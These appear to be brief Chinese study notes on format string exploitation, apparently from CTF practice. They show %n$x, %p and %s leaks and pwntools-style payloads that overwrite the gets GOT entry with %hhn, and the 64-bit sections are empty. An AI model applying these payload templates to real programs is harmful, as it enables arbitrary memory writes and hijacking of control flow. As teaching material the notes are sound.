0x00 32位下读
- ‘%num$08x’
- ‘%num$p’
- ‘%num$s’
%x 整数的参数会被转成无符号的十六进制数字
%p 如果是参数是”void *”型指针则使用十六进制格式显示
%s 指向字符串的参数会被逐字输出,直到出现NULL 字符为止
0x01 32位下写
修改get@got表中的内容(利用python的格式化特性)
p32(gets@got) + ‘%%%dc’ %(data-4) + ‘%num$hhn’修改get@got表中的内容
payload = ‘%’ + str(data) +’c%16$hhn’ if data != 0 else ‘%16$hhn’
payload += ‘A’*(48-len(payload)) + p32(get@got)
0x02 64位下读
0x03 64位下写
0x04 Conclusion
- 可以泄露栈地址
- 可以任意地址写,比如通过泄露的栈地址,计算出保存返回地址的栈地址,然后修改返回地址
3.